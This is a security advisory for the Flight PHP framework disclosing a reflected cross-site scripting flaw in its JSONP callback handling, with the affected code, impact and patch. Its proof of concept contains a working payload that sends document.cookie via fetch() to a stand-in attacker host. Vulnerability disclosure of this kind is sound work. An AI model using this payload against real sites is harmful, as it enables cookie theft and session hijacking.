flightphp/core · Security
Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()
- GHSA ID
- GHSA-fcx8-ph5r-mxr4
- CVE ID
- CVE-2026-42548
- Severity
- high
- Published
- Updated
- CVSS v4
- 8.6 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Description
Summary
Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.
Affected code
flight/Engine.php (≈ lines 1000-1013):
$callback = $this->request()->query[$param];
$this->response()
->status($code)
->header('Content-Type', 'application/javascript; charset=' . $charset)
->write($callback . '(' . $json . ');');
No regex or identifier validation is performed before the callback is written.
Proof of concept
Given any route that calls Flight::jsonp($data):
GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//
Reproduced response (Content-Type: application/javascript):
;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});
When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.
Impact
- Reflected XSS in any application calling
Flight::jsonp(). - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
- Exfiltration of authenticated API responses.
Patch (fixed in 3.18.1, commit b8dd23a)
_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.
Credit
Discovered by @Rootingg.
CWEs
- CWE-79 · Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')